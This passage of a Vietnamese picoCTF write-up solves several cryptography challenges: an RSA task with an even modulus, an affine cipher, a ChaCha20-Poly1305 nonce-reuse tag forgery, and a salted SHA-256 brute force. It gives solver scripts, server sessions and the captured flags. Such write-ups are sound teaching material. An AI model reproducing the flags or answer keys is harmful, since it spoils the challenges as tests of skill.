flag = open('flag.txt', 'r').read()
flag = flag.strip()
N, cypher = main(flag)
print("N:", N)
print("e:", e)
print("cyphertext:", cypher)
exit()
```
Mở kênh kết nối thì ta nhận được `N, e, cipher`
```python=
N = 14971332928931600258070222525511394212054658902871612141186429243227295047197174853004285765481866838784351475089613251384629214373054886098787783629288854
e = 65537
cipher = 9685487452310081650666414304396053822632884035194331224959800780976444606689190315693089108703603608391361578584998640257817456167504699460118188426557775
```
Đoạn này mình thấy sai sai vì N chẵn làm mình nghĩ sao bài này nó dễ vậy được và đúng là nó dễ thật @@
```python=
from Crypto.Util.number import long_to_bytes
# Lấy từ (nc verbal-sleep.picoctf.net 51510)
N = 14971332928931600258070222525511394212054658902871612141186429243227295047197174853004285765481866838784351475089613251384629214373054886098787783629288854
e = 65537
cipher = 9685487452310081650666414304396053822632884035194331224959800780976444606689190315693089108703603608391361578584998640257817456167504699460118188426557775
p = 2
q = N // p
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
flag = long_to_bytes(pow(cipher, d, N))
print(flag.decode("utf-8"))
```
Flag: picoCTF{tw0_1$_pr!m3625a858b}
### Guess My Cheese (Part 1)
```javascript=
*******************************************
*** Part 1 ***
*** The Mystery of the CLONED RAT ***
*******************************************
The super evil Dr. Lacktoes Inn Tolerant told me he kidnapped my best friend, Squeexy, and replaced him with an evil clone! You look JUST LIKE SQUEEXY, but I'm not sure if you're him or THE CLONE. I've devised a plan to find out if YOU'RE the REAL SQUEEXY! If you're Squeexy, I'll give you the key to the cloning room so you can maul the imposter...
Here's my secret cheese -- if you're Squeexy, you'll be able to guess it: LRGGHOZMFOVPB
Hint: The cheeses are top secret and limited edition, so they might look different from cheeses you're used to!
Commands: (g)uess my cheese or (e)ncrypt a cheese
What would you like to do?
```
Hint: Remember that cipher we devised together Squeexy? The one that incorporates your affinity for linear equations
Thử thách nhắc tới phương trình tuyến tính và `affinity` nên mình đã google xem thử nó nói về cái gì và đây là kết quả: [Affine transformation](https://en.wikipedia.org/wiki/Affine_transformation)
Bản đồ affine $f$ tác dụng lên $x$ được biểu diển dưới dạng: $y \equiv f(x)=ax+b$ (mod m)
Khi áp dụng vào mã hóa thì $y$ là bản mã (Ciphertext), còn $x$ là bản rõ (Plaintext). Nghĩa là:
- Khi mã hóa: $C\equiv aP+b$ (mod m)
- Khi giải mã: $P=a^{-1}(C-b)$ (mod m)
Ở đây, ta thấy nó được mã hóa theo từng chữ cái trên bảng Latinh nên $m$ sẽ là số lượng chữ cái và hơn nữa để giải mã được thì phải tồn tại nghịch đảo modulo $m$ của $a$.
Và để làm được điều đó thì $m, a$ phải đôi một nguyên tố cùng nhau. Xem thêm ở [đây](https://wiki.vnoi.info/algo/math/modular-inverse)
```python!
possible_a = [a for a in range(1, M) if gcd(a, M) == 1]
```
Vì chỉ xét tới chữ cái in hoa nên ta sẽ lấy $M=26$.
Ở đây, thử thách cho mình 2 quyền đoán cheese đưa ra và mã hóa 1 cheese nào đó.
Để mà đoán được cheese thì ta cần hệ số $a, b$ và từ đó giải mã ra bản rõ. Do đó, mình sẽ mã hóa 1 cheese nào đó trước rồi đối chiếu và lấy $a, b$ và giải mã để lấy flag thôi :+1:
```javascript=
What would you like to do?
e
What cheese would you like to encrypt? Cottage cheese
Here's your encrypted cheese: JFMMBZRMJQRRVR
Not sure why you want it though...*squeak* - oh well!
```
```python=
# solution.py
from string import ascii_uppercase
from Crypto.Util.number import inverse, GCD
# Bảng chữ cái
ALPHABET = ascii_uppercase
M = len(ALPHABET) # M = 26
possible_a = [a for a in range(1, M) if GCD(a, M) == 1]
def affine_decrypt(ciphertext, a, b):
a_inv = inverse(a, M)
plaintext = ""
for char in ciphertext:
C = ALPHABET.index(char)
P = (a_inv * (C - b)) % M
plaintext += ALPHABET[P]
return plaintext
# Mẫu ban đầu với Cottage Cheese
cipher_pattern = "JFMMBZRMJQRRVR"
cipher = "LRGGHOZMFOVPB"
found = False
for a in possible_a:
for b in range(M):
decrypted = affine_decrypt(cipher_pattern, a, b)
if 'COTTAGE' in decrypted:
found = True
break
if found:
break
cheese = affine_decrypt(cipher, a, b)
print(cheese)
# WELLINGTONSKA
```
Nhập cheese vào guess và ta lấy được flag
```javascript=
I don't wanna talk to you too much if you're some suspicious character and not my BFF Squeexy!
You have 2 more chances to prove yourself to me!
Commands: (g)uess my cheese or (e)ncrypt a cheese
What would you like to do?
g
_ _
(q\_/p)
/. .\.-.....-. ___,
=\_t_/= / `\ (
)\ ))__ __\ |___)
(/-(/` `nn---'
SQUEAK SQUEAK SQUEAK
_ _
(q\_/p)
/. .\
,__ =\_t_/=
) / \
( (( ))
\ /\) (/\
`-\ Y /
nn^nn
Is that you, Squeexy? Are you ready to GUESS...MY...CHEEEEEEESE?
Remember, this is my encrypted cheese: LRGGHOZMFOVPB
So...what's my cheese?
WELLINGTONSKA
_ _
(q\_/p)
/. .\ __
,__ =\_t_/= .'o O'-.
) / \ / O o_.-`|
( (( )) /O_.-' O |
\ /\) (/\ | o o o|
`-\ Y / |o o O.-`
nn^nn | O _.-'
'--`
munch...
_ _
(q\_/p)
/. .\ __
,__ =\_t_/= .'o O'-.
) / \ / O o_.-`|
( (( )) ).-' O |
\ /\) (/\ ) o o|
`-\ Y / |o o O.-`
nn^nn | O _.-'
'--`
munch...
_ _
(q\_/p)
/. .\ __
,__ =\_t_/= .'o O'-.
) / \ / O o_.-`|
( (( )) )' O |
\ /\) (/\ ) o|
`-\ Y / ) O.-`
nn^nn ) _.-'
'--`
MUNCH.............
YUM! MMMMmmmmMMMMmmmMMM!!! Yes...yesssss! That's my cheese!
Here's the password to the cloning room: picoCTF{ChEeSy033d0004}
```
Flag: picoCTF{ChEeSy033d0004}
### ChaCha Slide
```python=
# challenge.py
import secrets
import hashlib
from Crypto.Cipher import ChaCha20_Poly1305
flag = open("flag.txt").read().strip()
def shasum(x):
return hashlib.sha256(x).digest()
key = shasum(shasum(secrets.token_bytes(32) + flag.encode()))
# Generate a random nonce to be extra safe
nonce = secrets.token_bytes(12)
messages = [
"Did you know that ChaCha20-Poly1305 is an authenticated encryption algorithm?",
"That means it protects both the confidentiality and integrity of data!"
]
goal = "But it's only secure if used correctly!"
def encrypt(message):
cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)
ciphertext, tag = cipher.encrypt_and_digest(message)
return ciphertext + tag + nonce
def decrypt(message_enc):
ciphertext = message_enc[:-28]
tag = message_enc[-28:-12]
nonce = message_enc[-12:]
cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)
plaintext = cipher.decrypt_and_verify(ciphertext, tag)
return plaintext
for message in messages:
print("Plaintext: " + repr(message))
message = message.encode()
print("Plaintext (hex): " + message.hex())
ciphertext = encrypt(message)
print("Ciphertext (hex): " + ciphertext.hex())
print()
print()
user = bytes.fromhex(input("What is your message? "))
user_message = decrypt(user)
print("User message (decrypted): " + repr(user_message))
if goal in repr(user_message):
print(flag)
```
Kết nối với kênh, ta được đoạn tin sau:
```javascript=
Plaintext: 'Did you know that ChaCha20-Poly1305 is an authenticated encryption algorithm?'
Plaintext (hex): 44696420796f75206b6e6f7720746861742043686143686132302d506f6c793133303520697320616e2061757468656e7469636174656420656e6372797074696f6e20616c676f726974686d3f
Ciphertext (hex): 7cb5f2e754caea3d3d98048ee7d747c1b677b5ac33a000d74c86b68f7f25a955db62e0a8fd17b0235cfc0541a7f8edf105a5d1ab6a6489cfacb7e4061f5b1c8f4f04e9624220e4cb450bae1e13da93a564ed04959dbde00eb0e72b772fb4a5a47457ad46b48a03432d
Plaintext: 'That means it protects both the confidentiality and integrity of data!'
Plaintext (hex): 54686174206d65616e732069742070726f746563747320626f74682074686520636f6e666964656e7469616c69747920616e6420696e74656772697479206f66206461746121
Ciphertext (hex): 6cb4f7b30dc8fa7c38854b90b3835fd2ad2393a7269048d411c2f3ff6421b5448b3dbbeefd00f52c46b50558bae4f1bf10a2d6ea776f998aaeabee001f0b0780000ea8774f66f3102a46013366d9ab4b0cf5b4320020b4a5a47457ad46b48a03432d
What is your message?
```
Sơ lược lại thì thử thách nói về hệ mã dòng có xác thực ChaCha20 - Poly1305.
Rõ hơn thì đề cho ta hai đoạn tin nhắn và bản mã của chúng, yêu cầu ta gửi tới bản mã của goal được cho để nhận về flag của chall.
Để gửi được đúng bản mã của goal, ta phải tìm được 3 phần gồm: `ciphertext, tag, nonce`. Đơn giản với `nonce` vì nó đã trùng với cái của 2 ciphertext mẫu có sẵn. Còn `ciphertext` thì liên quan tới phần mã hóa của Chacha20, `tag` liên quan tới phần xác thực của Poly1305
Vì vậy, ta chia ChaCha20 - Poly1305 thành hai phần để phân tích và tấn công:
1. Về Chacha20:
Phương thức này sử dụng mã hóa XOR với `keystream` là XOR key.
Nghĩa là: Ciphertext = Plaintext $\oplus$ Keystream
$\Leftrightarrow$ Ciphertext $\oplus$ Plaintext = Plaintext $\oplus$ Keystream $\oplus$ Plaintext = Keystream
Và khi mà ta đã biết cái plaintext ở goal rồi thì việc giải mã sẽ đơn giản bằng **known-plaintext attack** như sau: goal_ct = goal $\oplus$ Keystream = goal $\oplus$ Ciphertext $\oplus$ Plaintext
```python=
ciphertext = bytes(
[
c1 ^ p1 ^ p2
for c1, p1, p2 in zip(ciphertext1, plaintext1, goal)
]
) # vì độ dài goal nhỏ hơn ciphertext1 nên keystream sẽ chạy hết được goal
```
2. Poly1305:
Phần này mới thực sự là phức tạp của thử thách, với mục đích chính là tìm cái `tag` để server check xem có đúng không.
Sau khi google thì ta biết được rằng Poly1305 được dùng như mã xác thực một lần với:
$$
tag \equiv Poly1305_r(m)+s \mod 2^{128}
$$
Đề cho ta 2 tag của 2 tin nhắn phân biệt mà ta đã biết và được dùng cùng 1 Poly1305 key bí mật (r,s). Bây giờ, chúng ta phải tìm lại key này để giải mã được cấu trúc tạo tag.
Và ở [đây](https://en.wikipedia.org/wiki/Poly1305#Use_as_a_one-time_authenticator) cũng có để cách attack nếu sử dụng 2 lần để mã hóa tin nhắn bằng 1 key.
$$
tag_1 = (Poly1305_r(m_1) + s )\mod 2^{128} \ (1)
$$
$$
tag_2 = (Poly1305_r(mg_2) + s )\mod 2^{128} \ (2)
$$
Từ (1) và (2), ta có:
$$
tag_1 - tag_2 \equiv Poly1305_r(m_1)- Poly1305_r(m_2) \mod 2^{128}
$$
Mình xem ở [đây](https://en.wikipedia.org/wiki/Poly1305#Definition_of_Poly1305) để phân tích cái Poly1305 ra:
$$
tag_1 - tag_2 \equiv (c_1^1r^q+c_1^2r^{q-1}+...+c_1^qr^1\mod 2^{130} -5)
$$
$$
-(c_2^1r^q+c_2^2r^{q-1}+...+c_2^qr^1\mod 2^{130} -5) \mod 2^{128}
$$
$$
\Leftrightarrow tag_1 - tag_2 + 2^{128}(i-j) \equiv (((c_1^1-c_2^1)r^q+(c_1^2-c_2^2)r^{q-1}+...+(c_1^q-c_2^q)r^1) \mod 2^{130} -5)
$$
Vì `tag` ban đầu mod 1 giá trị bằng $2^{130} - 5$, gần bằng 130 bits rồi mod $2^{128}$ nghĩa là `tag` mất 2 bits nên $i,j \in \overline{0,4} \Rightarrow (i-j)\in \overline{-4,4}$.
Đặt $k = i-j$ thì với mỗi k, ta sẽ dựng 1 phương trình trên GF($2^{130}-5$), tìm nghiệm của phương trình này và nó là `r` rồi thế lại vào 1 trong hai phương trình trên là ta ra được `s`
Khi đã có được `r, s` đối với cặp `(key, nonce)` này rồi thì ta hoàn toàn có thể tạo 1 cái `tag` xác thực được cho ciphertext của goal và đây cũng là cách mình thực hiện thử thách này.
```python=
# solution.py
from pwn import *
from Crypto.Util.Padding import pad, unpad
import sage.all as sage
io = remote("activist-birds.picoctf.net", 59584)
plaintext1 = (
b"Did you know that ChaCha20-Poly1305 is an authenticated encryption algorithm?"
)
def data():
io.recvuntil("Ciphertext (hex): ")
message_enc = io.recvline().decode().split("\n")[0]
# lấy từ ciphertext của plaintext từ server
message_enc = bytes.fromhex(message_enc)
ciphertext = message_enc[:-28]
tag = message_enc[-28:-12]
nonce = message_enc[-12:]
return ciphertext, tag, nonce
ciphertext1, tag1, nonce = data()
ciphertext2, tag2, nonce = data()
goal = b"But it's only secure if used correctly!"
ciphertext = bytes(
[
c1 ^ p1 ^ p2
for c1, p1, p2 in zip(ciphertext1, plaintext1, goal)
]
) # vì độ dài goal nhỏ hơn ciphertext1 nên keystream sẽ chạy hết được goal
def make_poly(ct):
data = b""
mac_data = data + pad(data, 16)
mac_data += ct + pad(ct, 16)
mac_data += struct.pack("<Q", len(data))
mac_data += struct.pack("<Q", len(ct))
f = 0
for i in range(0, round(len(mac_data) / 16)):
n = mac_data[i * 16 : (i + 1) * 16] + b"\x01"
n += (17 - len(n)) * b"\x00"
f = (f + int.from_bytes(n, "little")) * x
return f
tag1_int = int.from_bytes(tag1, "little")
tag2_int = int.from_bytes(tag2, "little")
Pr = sage.PolynomialRing(sage.GF(2**130 - 5), "x")
x = Pr.gen()
f1 = make_poly(ciphertext1)
f2 = make_poly(ciphertext2)
print(f1)
print(f2)
# 597196402248105951626966011877782631804*x^6 + 454145005287357688070972442197395601334*x^5 + 661861931549384550481074575939827950299*x^4 + 530509202787700791233082061683076211973*x^3 + 340282368435768507855198875253190755407*x^2 + 340282366920938464883773901107403685888*x
# 619916185459487913787536860817282020460*x^6 + 431610353687254081499753564988673041325*x^5 + 595420896811833730416722478289825512843*x^4 + 510460122022284652188488210929459569168*x^3 + 340282366920938463463374719923264163328*x^2 + 340282366920938464754646692591436824576*x
res = []
for k in range(-4, 5):
rhs = tag1_int - tag2_int + 2**128 * k
print(rhs, k)
f = rhs - (f1 - f2)
for r, _ in f.roots():
if int(r).bit_length() <= 124:
s = (tag1_int - int(f1(r))) % (2**128)
res.append((r, s))
print(res)
# [(20320015409774457323517351832911875936, 340179677694136160511250274535902749702)]
for r, s in res:
f = make_poly(ciphertext)
tag = (int(f(r)) + s) % 2**128
print(tag)
# 314525754662942930020042292487713459951
tag = int(tag).to_bytes(16, "little")
message = (ciphertext + tag + nonce).hex()
print(message)
# 7aa9e2e744d1b86e76990595be835cc5a12284a1728a0e960bc5febb302abf169a37b6fcf81db1ef0ee4d59f089de8f06ea49ef8749fecb4a5a47457ad46b48a03432d
io.recvuntil("What is your message? ")
io.sendline(message)
io.recvline()
flag = io.recvline().decode()
print(flag)
```
Trong lúc làm bài thì mình nhập trực tiếp tới server nên được như sau:
```javascript=
Plaintext: 'Did you know that ChaCha20-Poly1305 is an authenticated encryption algorithm?'
Plaintext (hex): 44696420796f75206b6e6f7720746861742043686143686132302d506f6c793133303520697320616e2061757468656e7469636174656420656e6372797074696f6e20616c676f726974686d3f
Ciphertext (hex): 7cb5f2e754caea3d3d98048ee7d747c1b677b5ac33a000d74c86b68f7f25a955db62e0a8fd17b0235cfc0541a7f8edf105a5d1ab6a6489cfacb7e4061f5b1c8f4f04e9624220e4cb450bae1e13da93a564ed04959dbde00eb0e72b772fb4a5a47457ad46b48a03432d
Plaintext: 'That means it protects both the confidentiality and integrity of data!'
Plaintext (hex): 54686174206d65616e732069742070726f746563747320626f74682074686520636f6e666964656e7469616c69747920616e6420696e74656772697479206f66206461746121
Ciphertext (hex): 6cb4f7b30dc8fa7c38854b90b3835fd2ad2393a7269048d411c2f3ff6421b5448b3dbbeefd00f52c46b50558bae4f1bf10a2d6ea776f998aaeabee001f0b0780000ea8774f66f3102a46013366d9ab4b0cf5b4320020b4a5a47457ad46b48a03432d
What is your message? 7aa9e2e744d1b86e76990595be835cc5a12284a1728a0e960bc5febb302abf169a37b6fcf81db1ef0ee4d59f089de8f06ea49ef8749fecb4a5a47457ad46b48a03432d
User message (decrypted): b"But it's only secure if used correctly!"
picoCTF{7urn_17_84ck_n0w_77243c82}
```
Flag: picoCTF{7urn_17_84ck_n0w_77243c82}
### Guess My Cheese (Part 2)
> Mình để bài này sau cùng vì thực sự thì nó khá là tricky và xém nữa thì mình có thể làm ra nó sớm hơn trong quá trình giải bài nhưng không được.
Thử thách cho ta một cái `cheese_list.txt` chứa 599 loại cheese cùng với đó là server được kết nối như Part 1 chỉ khác 1 chỗ là không được mã hóa một loại cheese mà ta cho trước.
Ở đây thì hint có nhắc tới [Salt](https://en.wikipedia.org/wiki/Salt_(cryptography)) là 2 ký tự thập lục phân và gợi ý cho ta dùng [Rainbow table](https://en.wikipedia.org/wiki/Rainbow_table)
Đầu tiên, mình cũng brute-force băm SHA256 hết các cheese cộng với việc thêm salt vào cuối $\rightarrow$ không ra. Sau đó, mình nghĩ tới việc băm trước rồi thêm salt sau đó băm tiếp $\rightarrow$ cũng không ra. Rồi mình nghĩ tới việc thêm salt vào từng ký tự xen giữa của cheese rồi băm và tất nhiên $\rightarrow$ không ra. Tiếp theo, mình nghĩ là ồ Part 1 đã cho ta chữ cái in hoa rồi thì có thể phải in hoa hết các cheese xong mới thực hiện $\rightarrow$ không ra.
Lúc đó mình cũng không nghĩ tới việc là phải ngược lại là in thường hết các cheese và buồn thay nó là như vậy :))))))
```python=
# solution.py
from hashlib import sha256
with open(
"cheese_list.txt",
"r",
) as f:
data = f.readlines()
cheeses = [line.strip().lower() for line in data]
chall = "9b71b2b23fa26641a0096848f97b78718975832f37ab770c60398949cd991a14"
rainbow_table = {}
for cheese in cheeses:
for salt in range(256):
x = cheese.encode() + salt.to_bytes(1, byteorder='big')
new_cheese_hash = sha256(x).hexdigest()
rainbow_table[new_cheese_hash] = x
if chall in rainbow_table:
x = rainbow_table[chall]
print(x)
# b'pyramide\xa9'
```
Gửi cheese rồi sau đó là salt vào server thì ta nhận được flag...